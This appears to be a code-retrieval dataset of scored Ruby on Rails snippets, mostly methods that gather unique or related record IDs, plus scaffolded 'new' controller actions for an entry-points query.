[ { "docid": "dd3f03e3970164bbd22f11946b9f9199", "score": "0.5784254", "text": "def all_ids\n @all_ids ||= @ids_fenotypes.keys\n @all_ids\n end", "title": "" }, { "docid": "38b5f235e5b586b6ad64e4e55ec396b2", "score": "0.5327872", "text": "def ids\n self.is_leaf? ? [@ids].flatten : self.children.inject([]) {|result, item| result += item.ids}\n end", "title": "" }, { "docid": "9800e59307caf761720ce24313bfe2d7", "score": "0.52871716", "text": "def work_entry_other_ids(field)\n case field.tag\n when /(760|762|765|767|770|772|773|774|775|777|780|785|786|787)/\n field.subfields.select { |sf| work_entry_other_id_subfields(field).include?(sf.code) }\n .map { |sf| remove_parenthetical_id_prefix_from_sf_w(sf) }\n end\n end", "title": "" }, { "docid": "abf18ecb359a866e0a47c7ecb7f2c9dd", "score": "0.52718234", "text": "def taxonomy_ids\n taxon_and_ancestors.map(&:taxonomy_id).flatten.uniq\n end", "title": "" }, { "docid": "ea83a946e6970fb464f428c1a956fa9a", "score": "0.51689047", "text": "def taxons_including_children_ids\n taxons.inject([]) { |ids, taxon| ids += taxon.self_and_descendants.ids }\n end", "title": "" }, { "docid": "49839374e6d2bb2889f32a92738d8620", "score": "0.5152939", "text": "def duplicates\n\t\tw = ''\n\t\tids = [id]\n\t\tchildren = self.class.unscoped.where(archetype: self)\n\t\ti = 0\n\t\twhile i < children.size\n\t\t\tchild = children[i]\n\t\t\tids << child.id\n\t\t\tchildren += self.class.unscoped.where(archetype: child)\n\t\t\ti+=1\n\t\tend\n\t\tids.map! { |x| \"archetype_id=#{x}\" }\n\t\tids = ids.join ' or '\n\t\tids = \" and (#{ids})\" if ids.present?\n\t\tw = \"archetype_type = '#{self.class.name}' #{ids}\"\n\t\tself.class.unscoped.where(w)\n\tend", "title": "" }, { "docid": "e1ad8f68e1f82c082dcd4baa3697ce8d", "score": "0.5099022", "text": "def uniq_pep_sequences\n unless self.peptide_evidences.empty?\n return self.peptide_evidences.map{|pep_ev| pep_ev.peptide_sequence.sequence}.uniq\n end\n end", "title": "" }, { "docid": "b33a756f45f5b1f492e6ae381b04501d", "score": "0.5067835", "text": "def patients_in_measure_population_observation\n Patient.find(gather_patient_ids).keep_if do |p|\n p.patient_relevant?(measures.pluck(:_id), ['OBSERV'])\n end.pluck(:_id)\n end", "title": "" }, { "docid": "26f3bbe7d34e4667bd38099f936bde34", "score": "0.50648814", "text": "def omim_ids\n @table.keys\n end", "title": "" }, { "docid": "2fab1b9dcabd2bb40cf59febdbddfff7", "score": "0.5063567", "text": "def current_diagnoses\n self.encounters.current.all(:include => [:observations]).map{|encounter| \n encounter.observations.active.all(\n :conditions => [\"obs.concept_id = ? OR obs.concept_id = ?\", \n ConceptName.find_by_name(\"OUTPATIENT DIAGNOSIS\").concept_id,\n ConceptName.find_by_name(\"OUTPATIENT DIAGNOSIS, NON-CODED\").concept_id])\n }.flatten.compact\n end", "title": "" }, { "docid": "765fe5c24c6169915f43bdbfe675dcd7", "score": "0.50424004", "text": "def get_ids_of_all_jobs\r\n result = [id, parent_job_id].compact\r\n result << Job.where([\"parent_job_id in (?)\",result]).select(:id).collect(&:id)\r\n result.flatten.uniq\r\n end", "title": "" }, { "docid": "77788b0f95717a88fa20c610affa27d6", "score": "0.502703", "text": "def qing_ids\n questionings.collect{|qing| qing.id}\n end", "title": "" }, { "docid": "6cebdb6c7a51ffe20036ea4cdd495e83", "score": "0.50115997", "text": "def ids(type)\n Document.where(:typ => type).select(:ide).collect { |d| d[:ide] }.uniq.sort\n end", "title": "" }, { "docid": "a1ed3eb9083640f4c2be81add47012c3", "score": "0.498668", "text": "def effective_selection_set\n ids = Set.new\n items.map do |parent, children|\n if selected.include?(parent.id)\n ids << parent.id\n ids += children.map(&:id)\n else\n ids += children.select do |child|\n selected_children.include?(child.id)\n end.map(&:id)\n end\n end\n ids.to_a\n end", "title": "" }, { "docid": "142e5bf63fb6a25198a94eff8471b3b3", "score": "0.4981116", "text": "def owned_tag_set_ids\n OwnedSetTagging.where(:set_taggable_type => self.class.name, :set_taggable_id => self.id).value_of(:owned_tag_set_id)\n end", "title": "" }, { "docid": "deafc5094d90f40703b60356e7e5dff3", "score": "0.4952509", "text": "def parent_ids_sf_style\n ids = [] \n (ancestors.push self).each do |a|\n case a.rank\n when 'genus'\n ids.push \"#{a.id}g\"\n when 'subgenus'\n ids.push \"#{a.id}s\"\n else\n ids.push a.id.to_s\n end\n end\n ids.join(\"-\")\n end", "title": "" }, { "docid": "30835d402b39a25b99879a853f7a3c28", "score": "0.493465", "text": "def all_ancestor_ids\n ancestors.pluck(:id)\n end", "title": "" }, { "docid": "d6a4dcf90a2bf716e2313ff4106466ef", "score": "0.49272296", "text": "def job_ids_for_check\r\n ids_of_all_jobs = []\r\n ids_of_all_child_jobs = get_ids_of_all_child_jobs\r\n ids_of_all_jobs += ids_of_all_child_jobs unless ids_of_all_child_jobs.blank?\r\n ids_of_all_jobs << id\r\n ids_of_all_jobs.uniq\r\n end", "title": "" }, { "docid": "b058da935913d4fd403adc725f30cfdf", "score": "0.4906662", "text": "def remove_genomes_by_prot_id!(prot_ids)\n prot_ids.map{ |i| @genomes.delete(i) }.flatten.compact\n end", "title": "" }, { "docid": "ca92948ffcf07b788b2b98a9db173a6e", "score": "0.48990253", "text": "def visible_collapsed_note_ids\n els = browser.find_elements(xpath: '//div[contains(@id, \"note-\")][contains(@id, \"-is-closed\")]')\n els.map do |el|\n parts = el.attribute('id').split('-')\n (parts[2] == 'is') ? parts[1] : parts[1..2].join('-')\n end\n end", "title": "" }, { "docid": "a8a90ffcde8051b7de3192b18b09618d", "score": "0.48821604", "text": "def mots_uniques\n @mots_uniques ||= begin\n self.select do |mot_min, arr_indexes|\n arr_indexes.count == 1\n end.keys\n end\n end", "title": "" }, { "docid": "764c57d4a9d465e5781d9f3091397ab1", "score": "0.48774815", "text": "def results\n Opinion.where(id: super.pluck(:id))\n end", "title": "" }, { "docid": "b6efb2f137fd027302a0c8583bb1bad9", "score": "0.48771998", "text": "def richtext_contents_ids\n # This is not very efficient SQL wise I know, but we need to iterate\n # recursivly through all descendent elements and I don't know how to do this\n # in pure SQL. Anyone with a better idea is welcome to submit a patch.\n ids = contents.select(&:has_tinymce?).collect(&:id)\n expanded_nested_elements = nested_elements.expanded\n if expanded_nested_elements.present?\n ids += expanded_nested_elements.collect(&:richtext_contents_ids)\n end\n ids.flatten\n end", "title": "" }, { "docid": "28636dfba743d166e3651fa4f792e7e5", "score": "0.48598695", "text": "def to_similarity_ids\n @to_similarity_ids ||= similarities.map(&:id)\n end", "title": "" }, { "docid": "cdbc6737a8dee23a4c787d9f83534a65", "score": "0.4850664", "text": "def profiles_as_supervisor_ids\n self.areas.map(&:profiles).flatten.uniq.map(&:id)\n end", "title": "" }, { "docid": "64ab02b4ef9bc4b1a9cdc56faa49314f", "score": "0.48423874", "text": "def all_animal_species\n #binding.pry\n all_animals.select{|species|species.zoo == self }.uniq\n end", "title": "" }, { "docid": "0ccd78813be5b08b75266d7f11bdee0f", "score": "0.48414233", "text": "def child_ids\n ids = [self.id]\n self.children.each do |child|\n ids += child.child_ids\n end\n ids\n end", "title": "" }, { "docid": "712fad5322022bf65700348219fb4e68", "score": "0.4838838", "text": "def inferred_truths_unique\n inferred_truths_all = self.inferred_truths_all\n inferredcollection = PremiseCollection.new(inferred_truths_all)\n inferred_truths_unique = inferredcollection.unique_propositions\n return inferred_truths_unique\n end", "title": "" }, { "docid": "8d8462617500a66ac0a49a4d6e96c7d2", "score": "0.48365802", "text": "def build_id_element_map phenotype\n return unless phenotype[\"children\"]\n\n # Loop through all immediate children\n phenotype[\"children\"].each do |child|\n # Only select PhEMA objects - don't pull out KineticJS elements\n if child[\"className\"] == \"PhemaGroup\" or child[\"className\"] == \"PhemaConnection\"\n @id_element_map[child[\"id\"]] = child\n # Add in the generated name so it's saved and can be reused, but only for datatypes or categories\n if child[\"attrs\"][\"element\"][\"type\"] == \"DataElement\" or \n child[\"attrs\"][\"element\"][\"type\"] == \"Category\" or\n child[\"attrs\"][\"element\"][\"type\"] == \"SubsetOperator\" or\n child[\"attrs\"][\"element\"][\"type\"] == \"FunctionOperator\"\n value_set = get_value_set_for_element child\n @id_element_map[child[\"id\"]][\"hds_name\"] = @hds_translator.generate_entity_name(child[\"attrs\"][\"element\"][\"uri\"], value_set[\"name\"], child[\"id\"])\n end\n end\n\n # Recursively process children\n if child[\"children\"]\n build_id_element_map child\n end\n end\n\n @id_element_map\n end", "title": "" }, { "docid": "e7ac644480683f0eb028ed7d88e22851", "score": "0.48115873", "text": "def may_oids( *additional_object_classes )\n\t\treturn self.object_classes( *additional_object_classes ).\n\t\t\tcollect {|oc| oc.may_oids }.flatten.uniq\n\tend", "title": "" }, { "docid": "8515e3f4effd484ff74ced4b0963f31f", "score": "0.4809258", "text": "def animal_species\n Animal.all.map do |animal|\n animal.specie\n end.uniq\n end", "title": "" }, { "docid": "c2ac6d1dd16177e28bd15a14d5e1328c", "score": "0.4800976", "text": "def current_diagnoses(patient_id)\n patient = Patient.find(patient_id)\n patient.encounters.current.includes([:observations]).map{|encounter|\n encounter.observations.where([\"obs.concept_id = ? OR obs.concept_id = ?\",\n ConceptName.find_by_name(\"DIAGNOSIS\").concept_id,\n ConceptName.find_by_name(\"DIAGNOSIS, NON-CODED\").concept_id])\n }.flatten.compact\n end", "title": "" }, { "docid": "6a099a25e09b2ff4508a4e580f393fbc", "score": "0.47956848", "text": "def animal_species\n animal_arr = self.animals.map do |animal|\n animal.species\n end.uniq\n end", "title": "" }, { "docid": "35c9ce7f636e29f6cb4376c2bed1cd50", "score": "0.47950962", "text": "def ancestor_ids\n read_attribute(self.base_class.structure_column).to_s.split(%r|[,/]|).uniq.map { |id| cast_primary_key(id) }\n end", "title": "" }, { "docid": "bb294e246c5dd220abfad568a88e2936", "score": "0.47893786", "text": "def allergens\n self.ingredients.map do |ingredient|\n Allergen.all.map do |allergen|\n ingredient if allergen.ingredient_O == ingredient\n end.compact\n end.flatten.uniq\n end", "title": "" }, { "docid": "9f055b1cdf9fca398c401c499aca5f2d", "score": "0.4782336", "text": "def gym_memberships\n self.my_memberships.map {|membership_instance| membership_instance.gym}.uniq\n end", "title": "" }, { "docid": "4e21a7513b05ff85a2758f181736958a", "score": "0.47763968", "text": "def property_ids\n result = Array.new\n self.properties.each do |p|\n result << p.id\n end\n result\n end", "title": "" }, { "docid": "298d767d4367eb165fd01f61abcdaa28", "score": "0.47697598", "text": "def animal_species\n animals.map { |animal| animal.species}.uniq\n end", "title": "" }, { "docid": "025fe54dffe1485f6df22278a589faa8", "score": "0.47686824", "text": "def related_organisms\n organisms = related_assays.collect{|a| a.organisms}.flatten.uniq.compact\n organisms = organisms | related_models.collect{|m| m.organism}.uniq.compact\n organisms\n end", "title": "" }, { "docid": "46f4aaa7dbc0d9e349d90e5aec15909c", "score": "0.4767214", "text": "def richtext_contents_ids\n descendent_contents\n .where(Element.table_name => {folded: false})\n .essence_richtexts\n .pluck(\"#{Content.table_name}.id\")\n end", "title": "" }, { "docid": "75849d5e58818b84fff67d2dba6794ea", "score": "0.4765833", "text": "def all_associations(opts={})\n associations = self.models.map {|m| m.associations}.flatten\n if opts[:unique]\n unique_codes = associations.map {|a| a[:code] }.uniq\n unique_associations = []\n associations.each do |a|\n if unique_codes.include?(a[:code])\n unique_associations << a\n unique_codes.delete(a[:code])\n end\n end\n return unique_associations\n else\n return associations\n end\n end", "title": "" }, { "docid": "5d1b6250603ed2fe9aa78758ff02563a", "score": "0.4745648", "text": "def ministry_list\n root_ministry.descendants.pluck(:id)\n end", "title": "" }, { "docid": "7ca9acebf9668af0352ad0f4bdaa1590", "score": "0.4740043", "text": "def self_and_siblings_ids\n parent ? parent.children_ids : self.class.roots.map {|x| x.id}\n end", "title": "" }, { "docid": "6af6365e38e53ffbbda64a2b571d1ef2", "score": "0.47354728", "text": "def potential_subscriber_ids\n Subscriber.where(phone_number: from_phone).order(updated_at: :desc).map(&:id)\n end", "title": "" }, { "docid": "4d69fe944c75deebf731037e065dfb13", "score": "0.4726897", "text": "def get_all_hidden_ids(word_ids, url_ids)\n results = []\n word_ids.each do |word_id|\n @db.execute(\"select to_id from word_hidden where from_id = ?\", word_id.to_i).each do |row|\n results << row[0].to_i\n end\n end\n \n url_ids.each do |url_id|\n @db.execute(\"select from_id from hidden_url where to_id = ?\", url_id.to_i).each do |row|\n results << row[0].to_i\n end\n end\n \n results.uniq\n end", "title": "" }, { "docid": "20ca4f01ea28302b781b9076b12d51a5", "score": "0.47139052", "text": "def get_ids_of_all_child_jobs_old\r\n ids_of_child_jobs = []\r\n if parent_job_id.blank?\r\n child_jobs = Job.where(\"jobs.parent_job_id = #{id}\").all\r\n child_jobs.each do |child_job|\r\n ids_of_child_jobs << child_job.id\r\n end\r\n end\r\n \r\n ids_of_child_jobs\r\n end", "title": "" }, { "docid": "68e7841a54e54320d3497d2e3807fa18", "score": "0.47133666", "text": "def get_self_and_children_ids\n ids = [self.id]\n ids += get_children_ids_recursive\n return ids\n\t\tend", "title": "" }, { "docid": "8d062c96712f54b895baaaa2e6506a62", "score": "0.4713114", "text": "def to_ids\n @to_ids ||= [ reference.id ] + to_similarity_ids\n end", "title": "" }, { "docid": "7c819b15b3e903c53e2c3a8891c54202", "score": "0.47099397", "text": "def all_associations(opts={})\n associations = self.models.map {|m| m.association_fields}.flatten\n if opts[:unique]\n unique_codes = associations.map {|a| a[:code] }.uniq\n unique_associations = []\n associations.each do |a|\n if unique_codes.include?(a[:code])\n unique_associations << a\n unique_codes.delete(a[:code])\n end\n end\n return unique_associations\n else\n return associations\n end\n end", "title": "" }, { "docid": "5daf8774c85fe61e4f24c963a61f4b7a", "score": "0.47096044", "text": "def animal_species\n Animals.uniq.select { |animal| animal.species }\n end", "title": "" }, { "docid": "bb2d4cf6f179b84bccea0c2f67a6802d", "score": "0.47011805", "text": "def parent_ids\n []\n end", "title": "" }, { "docid": "5e87c9d00a6711f09e658b5815136253", "score": "0.47007564", "text": "def current_parties_ids\n current_cites_additions.map(&:party_id).compact.uniq\n end", "title": "" }, { "docid": "43e9283436a19e9d9e5c0fc869cd1e8a", "score": "0.46994084", "text": "def preferred_representation_ids\n Array.wrap(preferred_representations).uniq.delete_if(&:empty?)\n end", "title": "" }, { "docid": "ccd7dff032578db1e1f59a1e50abd752", "score": "0.46887624", "text": "def id_types\n identifiers.map(&:type).uniq\n end", "title": "" }, { "docid": "094fb23025168ba166709e30e831b321", "score": "0.468667", "text": "def galleries\n self.paintings.map{|painitng| painitng.gallery}.uniq\n end", "title": "" }, { "docid": "0d33b3a5eb317adf2c045ae83ea222a9", "score": "0.46864313", "text": "def expanded_known\n raw_known.map do |raw|\n expand_variants(raw)\n end.flatten.uniq.sort\n end", "title": "" }, { "docid": "8bdba9924b72c8329d79d5df42d8e125", "score": "0.4685575", "text": "def animals\n Animal.all.select do |animal|\n animal.origin == self\n end \n end", "title": "" }, { "docid": "a6bd5ae259bb083220169a2e4bac4582", "score": "0.46836403", "text": "def patients_in_high_value_populations\n Patient.find(gather_patient_ids).keep_if do |p|\n p.patient_relevant?(measures.pluck(:_id), %w[NUMER NUMEX DENEXCEP DENEX])\n end.pluck(:_id)\n end", "title": "" }, { "docid": "8a31e7afc8b41616858ffc67ff826863", "score": "0.46757278", "text": "def source_matrix_ids\n a = Set.new\n experiments.each { |experiment| a.merge(experiment.source_matrix_ids) }\n a.to_a\n end", "title": "" }, { "docid": "e00f1af3d7eb74121b5c0eaa583ab5dd", "score": "0.46712136", "text": "def genres\n self.songs.map do |song|\n song.genre\n end.uniq\n #unduped.uniq #uniq only works on an array\n end", "title": "" }, { "docid": "abce9cbcbc3d009b240f2a886ca44ce0", "score": "0.46603334", "text": "def collapse_duplicates(controls)\n unique_controls = []\n\n controls.map { |x| x['id'] }.uniq.each do |id|\n collapsed_results = controls.select { |x| x['id'].eql?(id) }.map { |x| x['results'] }\n unique_control = controls.find { |x| x['id'].eql?(id) }\n unique_control['results'] = collapsed_results.flatten\n unique_controls << unique_control\n end\n unique_controls\n end", "title": "" }, { "docid": "abce9cbcbc3d009b240f2a886ca44ce0", "score": "0.46603334", "text": "def collapse_duplicates(controls)\n unique_controls = []\n\n controls.map { |x| x['id'] }.uniq.each do |id|\n collapsed_results = controls.select { |x| x['id'].eql?(id) }.map { |x| x['results'] }\n unique_control = controls.find { |x| x['id'].eql?(id) }\n unique_control['results'] = collapsed_results.flatten\n unique_controls << unique_control\n end\n unique_controls\n end", "title": "" }, { "docid": "abce9cbcbc3d009b240f2a886ca44ce0", "score": "0.46603334", "text": "def collapse_duplicates(controls)\n unique_controls = []\n\n controls.map { |x| x['id'] }.uniq.each do |id|\n collapsed_results = controls.select { |x| x['id'].eql?(id) }.map { |x| x['results'] }\n unique_control = controls.find { |x| x['id'].eql?(id) }\n unique_control['results'] = collapsed_results.flatten\n unique_controls << unique_control\n end\n unique_controls\n end", "title": "" }, { "docid": "8363da93ce0dccf1569fcfdb379fbe72", "score": "0.4655245", "text": "def stringy_taxon_concept_ids\n taxon_concept_ids.join(',')\n end", "title": "" }, { "docid": "8363da93ce0dccf1569fcfdb379fbe72", "score": "0.4655245", "text": "def stringy_taxon_concept_ids\n taxon_concept_ids.join(',')\n end", "title": "" }, { "docid": "9c8f31f07ccb60a0962c5206c6b45356", "score": "0.4647002", "text": "def club_sets\n super.uniq\n end", "title": "" }, { "docid": "91d8c1799844353841ccae489f645c89", "score": "0.46450073", "text": "def all_associations\n @all_associations ||= (\n # field associations\n @fields.collect { |field|\n field.associations.values\n }.flatten +\n # attribute associations\n @attributes.collect { |attrib|\n attrib.associations.values\n }.flatten\n ).uniq.collect { |assoc|\n # get ancestors as well as column-level associations\n assoc.ancestors\n }.flatten.uniq\n end", "title": "" }, { "docid": "514b9a196e4d3bd0b8abf743911a5857", "score": "0.4644287", "text": "def extract_ids\n # no-op\n end", "title": "" }, { "docid": "1681fa54522e6a43df471a18a2522b2d", "score": "0.46435803", "text": "def gym_lifters\n memberships.map(&:lifter).uniq\n end", "title": "" }, { "docid": "f2e8fcf6214a407b3998a9da0a06e014", "score": "0.46383741", "text": "def participant_ids\n self.report_participant_relationships.collect { |r| r.participant_id }.uniq\n end", "title": "" }, { "docid": "361aa694a4f2b415bec1287d743e9aa4", "score": "0.46365583", "text": "def organizations\n positions.collect{|p| p.organization}.uniq.compact\n end", "title": "" }, { "docid": "c33590bfae321dafd0dd5b57b31e44e5", "score": "0.4631837", "text": "def get_ids_of_all_jobs_old\r\n ids_of_jobs = []\r\n \r\n if parent_job_id.blank?\r\n child_jobs = Job.where(\"jobs.parent_job_id = #{id}\").all \r\n ids_of_jobs << id\r\n else\r\n child_jobs = Job.where(\"jobs.parent_job_id = #{parent_job_id}\").all\r\n ids_of_jobs << parent_job_id\r\n end\r\n\r\n child_jobs.each do |child_job|\r\n ids_of_jobs << child_job.id\r\n end\r\n\r\n ids_of_jobs\r\n end", "title": "" }, { "docid": "3328a8d3eb3e4ab4c44957e2740e90ff", "score": "0.46295208", "text": "def animal_species()\n self.animals().map() { | animal | animal.species() }.uniq\n end", "title": "" }, { "docid": "b0482bb63fdf0c5eda073737b63a7cc4", "score": "0.46289027", "text": "def unique_genes\n Gene.where(study_id: self.id, :study_file_id.in => self.expression_matrix_files.map(&:id)).pluck(:name).uniq\n end", "title": "" }, { "docid": "ae4f15b7905d93e355d27261bcf1fef9", "score": "0.46273094", "text": "def acts_of_homonymy_for_ref\n syn = self.proj.sensus.by_label(self.label_id).by_ref(self.ref_id).ordered_by_label.collect{|s| s.ontology_class}.uniq\n syns = []\n syn.each_with_index do |s1,i|\n syn[(i+1)..(syn.size)].each do |s2|\n syns << [s1, s2]\n end\n end\n syns\n end", "title": "" }, { "docid": "4c8133c20ae21da604721fceb9b0cab9", "score": "0.46228", "text": "def galleries\n galleries = self.paintings.map do |p|\n p.gallery\n end\n galleries.uniq\nend", "title": "" }, { "docid": "067f1134b883e57d86a3e7c42ff54b5f", "score": "0.46187297", "text": "def find_det_group_ids\n\t\t\tdetGroupIds = []\n\t\t\tDetGroup.all.each do |dg|\n\t\t\t\tdetGroupIncluded = true\n\t\t\t\tdg.detectables.pluck(:id).each do |dId|\n\t\t\t\t\tdetGroupIncluded = false if not @allDetectableIds.include?(dId)\n\t\t\t\tend\n\t\t\t\tdetGroupIds << dg.id if detGroupIncluded\n\t\t\tend\n\t\t\treturn detGroupIds\n\t\tend", "title": "" }, { "docid": "db52ed646a76f81aad36f7fd2c780e71", "score": "0.46133432", "text": "def all_cities\n self.all_galleries.map do |gallery|\n gallery.city\n end.uniq\n end", "title": "" }, { "docid": "ffb8db5b3660bd3cbf26b4f3b824fb22", "score": "0.4605521", "text": "def inherited_group_ids\n self.ancestors.map(&:group_ids).flatten.uniq\n end", "title": "" }, { "docid": "ffe35265903de02ce18509f629e3acbc", "score": "0.45966658", "text": "def child_object_ids(valkyrie: false)\n child_objects(valkyrie: valkyrie).map(&:id)\n end", "title": "" }, { "docid": "95f22c79f98efc9a75efeb766de760ac", "score": "0.45951197", "text": "def child_ids\n\n children.collect { |cfei| Ruote.extract_child_id(cfei) }\n end", "title": "" }, { "docid": "289d721b4b0afea7688b3fcd00e4444b", "score": "0.4594102", "text": "def province_ids\n @world.provinces.keys\n end", "title": "" }, { "docid": "46bd3f153f32cf4e0b9a286f236aac97", "score": "0.45804188", "text": "def superfamily_ids\n superfamily_ids_set.to_a\n end", "title": "" }, { "docid": "119ce9bd04e07451fd84deb9106feaf6", "score": "0.45762172", "text": "def collapse\n a = []\n n = self\n begin\n return false if n.children.size != 1\n a << n.term\n n = n.children.first\n end while not n.children.empty?\n a << n.term\n @term = a.join(' ')\n @children = []\n end", "title": "" }, { "docid": "43746fddc011a3fc05e6ab8cc6f9d89d", "score": "0.45654887", "text": "def genres \n songs.collect {|song| song.genre}.uniq \n\n end", "title": "" }, { "docid": "f1d1cdba896345a1a0e314e15762fb5d", "score": "0.4558033", "text": "def all_cities\n self.all.map do |gallery|\n gallery.city.uniq\n end\n end", "title": "" }, { "docid": "8946c6a5f2ea00cfcd0b4ffb34502f15", "score": "0.45578307", "text": "def to_expanded_set\r\n (target.map { |x| x.to_i } << to_i).to_set # include the group value as well\r\n end", "title": "" }, { "docid": "1f020cce241b432e96898be235b3a7ef", "score": "0.45536643", "text": "def lifters\n # binding.pry\n memberships.map { |membership| membership.lifter }.uniq\n end", "title": "" }, { "docid": "685d5f1bf102d730d726fd8721069bef", "score": "0.45520625", "text": "def galleries\n paintings.map{|painting| painting.gallery}.uniq\n end", "title": "" }, { "docid": "878e3c10bfefc963b5dc77284691e647", "score": "0.45489722", "text": "def disgemd_ids_for(klass)\n ids = Recommendable.redis.smembers(Recommendable::Helpers::RedisKeyMapper.disgemd_set_for(klass, id))\n ids.map!(&:to_i) if [:active_record, :data_mapper, :sequel].include?(Recommendable.config.orm)\n ids\n end", "title": "" }, { "docid": "5b70819ad4576db383856670bafa0845", "score": "0.45460507", "text": "def identities\n \n return ::IdentifiesAs.object_identities( self ) \n \n end", "title": "" }, { "docid": "18942c6656f144e98e28312c1e724b0f", "score": "0.4543657", "text": "def get_contained_attribute_ids(_opts = {})\n get_directly_contained_object_ids(:attribute) || []\n end", "title": "" }, { "docid": "b0ce3155a9e608365f8cb9727077d134", "score": "0.45420584", "text": "def ingredients\n RecipeIngredient.all.map do |reci_ingred|\n reci_ingred.ingredient_O if reci_ingred.recipe_O == self\n end.compact\n end", "title": "" }, { "docid": "f0b3e3be08c0104951a90d9f99692ffd", "score": "0.45350063", "text": "def form_ids\n forms.collect(&:id).sort\n end", "title": "" }, { "docid": "8087f5b973ba47478687a303af30db3f", "score": "0.45322514", "text": "def ancestors_ids\n node, nodes = self, []\n while node.parent\n node = node.parent\n nodes << node.id\n end\n nodes\n end", "title": "" }, { "docid": "2c0523468582f630b7760dd8adf718b1", "score": "0.45310956", "text": "def parents_by_nomenclature(otu)\n above = [ ]\n if otu.taxon_name_id\n TaxonName.ancestors_of(otu.taxon_name)\n .select('taxon_names.*, taxon_name_hierarchies.generations')\n .that_is_valid.joins(:otus)\n .distinct\n .reorder('taxon_name_hierarchies.generations DESC, taxon_names.cached_valid_taxon_name_id').each do |t|\n above.push [t.cached, t.otus.to_a] # TODO: to_a vs. pluck\n end\n end\n above\n end", "title": "" }, { "docid": "3752c0cdf876a1e591a90158d8a642c8", "score": "0.45263234", "text": "def parent_ids\n if ancestor_ids.empty? then\n []\n else\n branches.map { |branch| cast_primary_key(branch.split('/').last) }.uniq\n end\n end", "title": "" }, { "docid": "7eca2af6bb16dbee6e6d7ae2dc4f6136", "score": "0.45259207", "text": "def ids\n @@enums_by_id.keys\n end", "title": "" }, { "docid": "7963527d223723551e4f1e624aeedb43", "score": "0.45243695", "text": "def collapse(cutoff=1)\n seq_array = self.dna_hash.values\n new_seq_freq = {}\n seq_freq = seq_array.count_freq\n if seq_freq.size == 1\n new_seq_freq = seq_freq\n else\n uniq_seq = seq_freq.keys\n unique_seq_pair = uniq_seq.combination(2)\n dupli_seq = []\n unique_seq_pair.each do |pair|\n seq1 = pair[0]\n seq2 = pair[1]\n diff = seq1.compare_with(seq2)\n if diff <= cutoff\n freq1 = seq_freq[seq1]\n freq2 = seq_freq[seq2]\n freq1 >= freq2 ? dupli_seq << seq2 : dupli_seq << seq1\n end\n end\n\n seq_freq.each do |seq,freq|\n unless dupli_seq.include?(seq)\n new_seq_freq[seq] = freq\n end\n end\n end\n seqhash = ViralSeq::SeqHash.new\n n = 1\n new_seq_freq.each do |seq,freq|\n name = \">seq_\" + n.to_s + '_' + freq.to_s\n seqhash.dna_hash[name] = seq\n n += 1\n end\n return seqhash\n end", "title": "" }, { "docid": "03357fe0a348e5823800d833b77badf6", "score": "0.452074", "text": "def ids(things)\n things.map(&:id).join(\",\")\n end", "title": "" } ]
7e4e6723a8bd0e2e451c5512419f1502
GET /entry_points/new GET /entry_points/new.xml
[ { "docid": "ad968ca1c8b2f557c0f4a53bbb28e5eb", "score": "0.76227784", "text": "def new\n @entry_point = EntryPoint.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @entry_point }\n end\n end", "title": "" } ]
[ { "docid": "b38664a6c3a39fe4a638aa6cc28b6d00", "score": "0.68945014", "text": "def new\n @old_point = OldPoint.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @old_point }\n end\n end", "title": "" }, { "docid": "6f1cd0d8a9913fdc1f7539554d81b8a6", "score": "0.68795925", "text": "def create\n @entry_point = EntryPoint.new(params[:entry_point])\n\n respond_to do |format|\n if @entry_point.save\n format.html { redirect_to(@entry_point, :notice => 'Entry point was successfully created.') }\n format.xml { render :xml => @entry_point, :status => :created, :location => @entry_point }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @entry_point.errors, :status => :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "f940f2c91c9ee3c69340fc60b6d2a09a", "score": "0.6814637", "text": "def new\n @end_point = EndPoint.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @end_point }\n end\n end", "title": "" }, { "docid": "d0b2295a365dec2f37b48ad27b76a25b", "score": "0.6615468", "text": "def new\n @point_of_interest = PointOfInterest.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @point_of_interest }\n end\n end", "title": "" }, { "docid": "90c07bfea3c080ca0b95c6cbd6559329", "score": "0.65870494", "text": "def new\n @pointmap = Pointmap.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @pointmap }\n end\n end", "title": "" }, { "docid": "cf0a5695d2b7b625653d5142bcd8f976", "score": "0.65508425", "text": "def new\n @point_tag = PointTag.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @point_tag }\n end\n end", "title": "" }, { "docid": "9cb378f2553d12b9bbb0f99a9b40ed3b", "score": "0.652359", "text": "def new_rest\n @entry_question = EntryQuestion.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @entry_question }\n end\n end", "title": "" }, { "docid": "51051c05cc30b96040b3e297ea0ed8cc", "score": "0.65060985", "text": "def new\n @entry = Entry.new\n \n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @entry }\n end\n end", "title": "" }, { "docid": "51051c05cc30b96040b3e297ea0ed8cc", "score": "0.65060985", "text": "def new\n @entry = Entry.new\n \n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @entry }\n end\n end", "title": "" }, { "docid": "050b6c4567f2eace509dca939517a76b", "score": "0.6499025", "text": "def new_rest\n @entry_item = EntryItem.new\n\n respond_to do |format|\n #format.html # new.html.erb\n format.xml { render :xml => @entry_item }\n end\n end", "title": "" }, { "docid": "a63bce347fe60fab455a940b8683a560", "score": "0.6469522", "text": "def new\n @old_route_point = OldRoutePoint.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @old_route_point }\n end\n end", "title": "" }, { "docid": "658a05c960692b73a8dcf4dcbbf95027", "score": "0.64584935", "text": "def new\n @planet_feed = PlanetFeed.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @planet_feed }\n end\n end", "title": "" }, { "docid": "e403df08a3159b946b95987146c4d678", "score": "0.6452431", "text": "def new\n @entry = Entry.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @entry }\n end\n end", "title": "" }, { "docid": "e403df08a3159b946b95987146c4d678", "score": "0.6452431", "text": "def new\n @entry = Entry.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @entry }\n end\n end", "title": "" }, { "docid": "e403df08a3159b946b95987146c4d678", "score": "0.6452431", "text": "def new\n @entry 